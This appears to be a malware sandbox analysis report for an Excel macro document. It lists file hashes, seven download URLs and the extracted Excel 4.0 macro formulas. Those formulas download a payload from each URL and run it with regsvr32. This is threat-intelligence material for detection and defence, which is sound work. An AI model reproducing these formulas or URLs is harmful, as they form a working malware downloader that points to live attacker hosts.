Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    95c769195992b4539fad0be9ae295d6dfe9f006fbffd6c658c6b5a06b98995da

  • Size

    50KB

  • MD5

    81a9d18fe9d11792750fc462984ae177

  • SHA1

    9dca7a29b059dedf8c0493ac1508c59327647614

  • SHA256

    95c769195992b4539fad0be9ae295d6dfe9f006fbffd6c658c6b5a06b98995da

  • SHA512

    c8f1da6a4495e13e3eb81c06962758bb11f73885eb0f661011db336731ff67c384026d8bb170293f032db0a06153d6ba2a6f1e6c65206416c401f6f59d9a59ee

  • SSDEEP

    768:zx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:zXD9okncDSmSIBlGeuSEcm2h0BPu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

http://boardingschoolsoftware.com/backup/CtMR5Yi/

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

https://descontador.com.br/css/q5nrG6ua/

http://letea.eu/wp-content/3GgF4miFZTq9/

http://quoctoan.c1.biz/wp-admin/j8Zu/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/VrgzWT/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://boardingschoolsoftware.com/backup/CtMR5Yi/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://descontador.com.br/css/q5nrG6ua/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://letea.eu/wp-content/3GgF4miFZTq9/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://quoctoan.c1.biz/wp-admin/j8Zu/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 95c769195992b4539fad0be9ae295d6dfe9f006fbffd6c658c6b5a06b98995da
    .xlsm office2007